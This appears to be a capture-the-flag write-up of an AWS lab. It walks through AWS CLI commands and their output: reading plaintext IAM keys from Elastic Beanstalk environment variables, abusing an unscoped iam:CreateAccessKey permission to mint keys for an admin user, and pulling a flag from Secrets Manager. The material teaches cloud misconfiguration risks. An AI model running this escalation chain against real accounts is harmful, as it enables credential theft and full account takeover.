Skip to content
BIG$HA crestBIG$HA
All writeups

HackSmarter

Beanstalk

Target Information

Property Value
Target AWS Account 223767249945 (us-east-1)
Platform AWS IAM / Elastic Beanstalk / Secrets Manager
Starting point IAM access key for lab_low_priv_user

Enumeration — IAM as lab_low_priv_user

aws configure --profile beanstalk-low

Tip: You can deliver temporary credentials to the AWS CLI using your AWS Console session by running the command 'aws login'.

AWS Access Key ID [None]: [LAB ACCESS KEY OMITTED]
AWS Secret Access Key [None]: [LAB SECRET OMITTED]
Default region name [None]: us-east-1
Default output format [None]: json
aws sts get-caller-identity --profile beanstalk-low

{
    "UserId": "AIDATIGMRIQMVFJAGXA4K",
    "Account": "223767249945",
    "Arn": "arn:aws:iam::223767249945:user/lab_low_priv_user"
}

lab_low_priv_user. Checked what this account itself was allowed to do:

aws iam list-attached-user-policies \
  --user-name lab_low_priv_user \
  --profile beanstalk-low

aws: [ERROR]: An error occurred (AccessDenied) when calling the ListAttachedUserPolicies operation: User: arn:aws:iam::223767249945:user/lab_low_priv_user is not authorized to perform: iam:ListAttachedUserPolicies on resource: user lab_low_priv_user because no identity-based policy allows the iam:ListAttachedUserPolicies action

No IAM read rights at all. Rather than guess at permissions, I checked which services this account could actually touch — starting with Elastic Beanstalk, since the account name suggested that’s the lab’s focus:

aws elasticbeanstalk describe-applications \
  --profile beanstalk-low \
  --region us-east-1

{
    "Applications": [
        {
            "ApplicationArn": "arn:aws:elasticbeanstalk:us-east-1:223767249945:application/lab-app",
            "ApplicationName": "lab-app",
            "Description": "Elastic Beanstalk application for insecure secrets scenario",
            "DateCreated": "2026-08-19T13:21:54.776000+00:00",
            "DateUpdated": "2026-08-19T13:21:54.776000+00:00",
            "ConfigurationTemplates": [],
            "ResourceLifecycleConfig": {
                "VersionLifecycleConfig": {
                    "MaxCountRule": {
                        "Enabled": false,
                        "MaxCount": 200,
                        "DeleteSourceFromS3": false
                    },
                    "MaxAgeRule": {
                        "Enabled": false,
                        "MaxAgeInDays": 180,
                        "DeleteSourceFromS3": false
                    }
                }
            }
        }
    ]
}

The app’s own description says “insecure secrets scenario” — worth taking literally. elasticbeanstalk:Describe* was granted, so I kept going down that path instead of the dead-end IAM one.

aws elasticbeanstalk describe-environments \
  --profile beanstalk-low \
  --region us-east-1

{
    "Environments": [
        {
            "EnvironmentName": "lab-env",
            "EnvironmentId": "e-cqz4zujqwf",
            "ApplicationName": "lab-app",
            "SolutionStackName": "64bit Amazon Linux 2023 v4.13.6 running Python 3.11",
            "PlatformArn": "arn:aws:elasticbeanstalk:us-east-1::platform/Python 3.11 running on 64bit Amazon Linux 2023/4.13.6",
            "EndpointURL": "awseb-e-c-AWSEBLoa-7ZZA5X5YMD9V-752006981.us-east-1.elb.amazonaws.com",
            "CNAME": "lab-env.eba-dejvd3jp.us-east-1.elasticbeanstalk.com",
            "DateCreated": "2026-08-19T13:22:07.844000+00:00",
            "DateUpdated": "2026-08-19T13:24:53.673000+00:00",
            "Status": "Ready",
            "AbortableOperationInProgress": false,
            "Health": "Grey",
            "HealthStatus": "Pending",
            "Tier": {
                "Name": "WebServer",
                "Type": "Standard",
                "Version": "1.0"
            },
            "EnvironmentLinks": [],
            "EnvironmentArn": "arn:aws:elasticbeanstalk:us-east-1:223767249945:environment/lab-app/lab-env"
        }
    ]
}

Credential Discovery — Environment Configuration

Elastic Beanstalk environments commonly carry application secrets as plain environment variables, which is exactly what “insecure secrets scenario” was pointing at:

aws elasticbeanstalk describe-configuration-settings \
  --application-name lab-app \
  --environment-name lab-env \
  --profile beanstalk-low \
  --region us-east-1 \
  --query "ConfigurationSettings[].OptionSettings[?Namespace=='aws:elasticbeanstalk:application:environment']" \
  --output table \
  --no-cli-pager
----------------------------------------------------------------------------------------------------------------------
|                                            DescribeConfigurationSettings                                           |
+-----------------------------------------------+-----------------------+--------------------------------------------+
|                   Namespace                   |      OptionName       |                   Value                    |
+-----------------------------------------------+-----------------------+--------------------------------------------+
|  aws:elasticbeanstalk:application:environment |  PYTHONPATH           |  /var/app/venv/staging-LQM1lest/bin        |
|  aws:elasticbeanstalk:application:environment |  SECONDARY_ACCESS_KEY |  [LAB ACCESS KEY OMITTED]                      |
|  aws:elasticbeanstalk:application:environment |  SECONDARY_SECRET_KEY |  [LAB SECRET OMITTED]  |
+-----------------------------------------------+-----------------------+--------------------------------------------+

A full IAM access key pair for a second user, sitting in the environment configuration in plaintext.

Lateral Movement — lab_secondary_user

aws configure --profile beanstalk-secondary

Tip: You can deliver temporary credentials to the AWS CLI using your AWS Console session by running the command 'aws login'.

AWS Access Key ID [None]: [LAB ACCESS KEY OMITTED]
AWS Secret Access Key [None]: [LAB SECRET OMITTED]
Default region name [None]: us-east-1
Default output format [None]: json
aws sts get-caller-identity \
  --profile beanstalk-secondary \
  --no-cli-pager

{
    "UserId": "AIDATIGMRIQMQEPWWHUEW",
    "Account": "223767249945",
    "Arn": "arn:aws:iam::223767249945:user/lab_secondary_user"
}

lab_secondary_user — and unlike the first account, this one’s own IAM policy was readable:

aws iam list-attached-user-policies \
  --user-name lab_secondary_user \
  --profile beanstalk-secondary \
  --no-cli-pager

{
    "AttachedPolicies": [
        {
            "PolicyName": "lab_secondary_policy",
            "PolicyArn": "arn:aws:iam::223767249945:policy/lab_secondary_policy"
        }
    ]
}
aws iam get-policy \
  --policy-arn arn:aws:iam::223767249945:policy/lab_secondary_policy \
  --profile beanstalk-secondary \
  --no-cli-pager

{
    "Policy": {
        "PolicyName": "lab_secondary_policy",
        "PolicyId": "ANPATIGMRIQMQJRPSXYVW",
        "Arn": "arn:aws:iam::223767249945:policy/lab_secondary_policy",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2026-08-19T13:21:54+00:00",
        "UpdateDate": "2026-08-19T13:21:54+00:00",
        "Tags": []
    }
}
aws iam get-policy-version \
  --policy-arn arn:aws:iam::223767249945:policy/lab_secondary_policy \
  --version-id v1 \
  --profile beanstalk-secondary \
  --no-cli-pager

{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "iam:CreateAccessKey"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": [
                        "iam:ListRoles",
                        "iam:GetRole",
                        "iam:ListPolicies",
                        "iam:GetPolicy",
                        "iam:ListPolicyVersions",
                        "iam:GetPolicyVersion",
                        "iam:ListUsers",
                        "iam:GetUser",
                        "iam:ListGroups",
                        "iam:GetGroup",
                        "iam:ListAttachedUserPolicies",
                        "iam:ListAttachedRolePolicies",
                        "iam:GetRolePolicy"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2026-08-19T13:21:54+00:00"
    }
}

iam:CreateAccessKey on Resource: "*" — not scoped to lab_secondary_user’s own ARN, so this account can mint an access key for any IAM user in the account. Broad IAM read rights too, enough to go looking for the best target.

aws iam list-users \
  --profile beanstalk-secondary \
  --query 'Users[].{User:UserName,Arn:Arn}' \
  --output table \
  --no-cli-pager
-----------------------------------------------------------------------------
|                                 ListUsers                                 |
+----------------------------------------------------+----------------------+
|                         Arn                        |        User          |
+----------------------------------------------------+----------------------+
|  arn:aws:iam::223767249945:user/lab_admin_user     |  lab_admin_user      |
|  arn:aws:iam::223767249945:user/lab_low_priv_user  |  lab_low_priv_user   |
|  arn:aws:iam::223767249945:user/lab_secondary_user |  lab_secondary_user  |
+----------------------------------------------------+----------------------+

lab_admin_user was the obvious target by name. Checked its policy before touching it:

aws iam list-attached-user-policies \
  --user-name lab_admin_user \
  --profile beanstalk-secondary \
  --no-cli-pager

{
    "AttachedPolicies": [
        {
            "PolicyName": "lab_admin_user_policy",
            "PolicyArn": "arn:aws:iam::223767249945:policy/lab_admin_user_policy"
        }
    ]
}
aws iam get-policy \
  --policy-arn arn:aws:iam::223767249945:policy/lab_admin_user_policy \
  --profile beanstalk-secondary \
  --no-cli-pager

{
    "Policy": {
        "PolicyName": "lab_admin_user_policy",
        "PolicyId": "ANPATIGMRIQMWMNOLOPZE",
        "Arn": "arn:aws:iam::223767249945:policy/lab_admin_user_policy",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2026-08-19T13:21:54+00:00",
        "UpdateDate": "2026-08-19T13:21:54+00:00",
        "Tags": []
    }
}
aws iam get-policy-version \
  --policy-arn arn:aws:iam::223767249945:policy/lab_admin_user_policy \
  --version-id v1 \
  --profile beanstalk-secondary \
  --no-cli-pager

{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": "*",
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2026-08-19T13:21:54+00:00"
    }
}

Action: "*", Resource: "*" — full administrator. That’s the key worth minting.

Privilege Escalation — Minting Keys for lab_admin_user

aws iam create-access-key \
  --user-name lab_admin_user \
  --profile beanstalk-secondary \
  --no-cli-pager

{
    "AccessKey": {
        "UserName": "lab_admin_user",
        "AccessKeyId": "[LAB ACCESS KEY OMITTED]",
        "Status": "Active",
        "SecretAccessKey": "[LAB SECRET OMITTED]",
        "CreateDate": "2026-08-19T13:40:52+00:00"
    }
}
aws configure --profile beanstalk-admin

Tip: You can deliver temporary credentials to the AWS CLI using your AWS Console session by running the command 'aws login'.

AWS Access Key ID [None]: [LAB ACCESS KEY OMITTED]
AWS Secret Access Key [None]: [LAB SECRET OMITTED]
Default region name [None]: us-east-1
Default output format [None]: json
aws sts get-caller-identity \
  --profile beanstalk-admin \
  --no-cli-pager

{
    "UserId": "AIDATIGMRIQM5XVBFGK2B",
    "Account": "223767249945",
    "Arn": "arn:aws:iam::223767249945:user/lab_admin_user"
}

lab_admin_user. Full administrative access to the account.

Post-Exploitation — Secrets Manager

aws secretsmanager list-secrets \
  --profile beanstalk-admin \
  --region us-east-1 \
  --no-cli-pager

{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:223767249945:secret:lab_final_flag-xkY8pE",
            "Name": "lab_final_flag",
            "LastChangedDate": "2026-08-19T13:21:54.435000+00:00",
            "LastAccessedDate": "2026-08-19T00:00:00+00:00",
            "SecretVersionsToStages": {
                "terraform-TvpNW8R2nYlTqP9d6NKgCSoMca": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": "2026-08-19T13:21:54.283000+00:00"
        }
    ]
}
aws secretsmanager get-secret-value \
  --secret-id lab_final_flag \
  --profile beanstalk-admin \
  --region us-east-1 \
  --no-cli-pager

{
    "ARN": "arn:aws:secretsmanager:us-east-1:223767249945:secret:lab_final_flag-xkY8pE",
    "Name": "lab_final_flag",
    "VersionId": "terraform-TvpNW8R2nYlTqP9d6NKgCSoMca",
    "SecretString": "FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2026-08-19T13:21:54.431000+00:00"
}

Attack Path Summary

lab_low_priv_user — no IAM read rights, but Elastic Beanstalk Describe* granted
↓
describe-configuration-settings leaks SECONDARY_ACCESS_KEY / SECONDARY_SECRET_KEY as plaintext env vars
↓
lab_secondary_user — policy grants iam:CreateAccessKey on Resource:* (not scoped to self)
↓
iam:ListUsers finds lab_admin_user; its policy is Action:*/Resource:* (full admin)
↓
iam:CreateAccessKey mints a new key pair for lab_admin_user
↓
lab_admin_user — full administrative access
↓
Secrets Manager: lab_final_flag → FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}

Credentials Found

Principal Credential Source
lab_low_priv_user [LAB ACCESS KEY OMITTED] / [LAB SECRET OMITTED] Starting access key for the engagement
lab_secondary_user [LAB ACCESS KEY OMITTED] / [LAB SECRET OMITTED] Elastic Beanstalk environment configuration (SECONDARY_ACCESS_KEY / SECONDARY_SECRET_KEY)
lab_admin_user [LAB ACCESS KEY OMITTED] / [LAB SECRET OMITTED] Minted via lab_secondary_user’s unscoped iam:CreateAccessKey
Flag Value
lab_final_flag FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}

Tools Used

  • AWS CLI